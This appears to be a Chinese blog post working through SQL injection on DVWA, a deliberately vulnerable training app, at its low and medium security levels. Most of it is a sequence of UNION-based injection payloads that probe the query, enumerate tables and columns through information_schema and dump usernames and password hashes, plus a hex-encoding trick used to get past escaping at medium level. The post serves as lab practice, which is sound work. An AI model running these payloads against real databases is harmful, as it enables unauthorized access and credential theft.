Fork me on GitHub

DVWA-SQL注入

low版本
先进行判断是什么类型的注入
用 1 和 1‘ 判断
在用 1’ and 1=1进行判断

用1' order by 1#判断
1' order by 3# 报错说明只有两个字段

使用联合查询 1' union select 1,2#
爆库 1' union select database(),2#
1' union select 1,database()#
可知数据库有一个名叫dvaw的
获取数据库版本 1' union select version(),2# 5.7.26
获取数据库用户1' union select user(),2# root@localhost

爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

guestbook,users

查列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

查数据
-1' union select user,password from users#

gordonb
abc123等等

medium版本
需要抓包

抓完包后发送到repeater
其后的操作和前面的注入一样 出现数据库语句错误是因为有一个转移函数需要将带引号里面的词转成十六进制
and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#

and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

union select user,password from users#

posted @   sxflmy  阅读(35)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示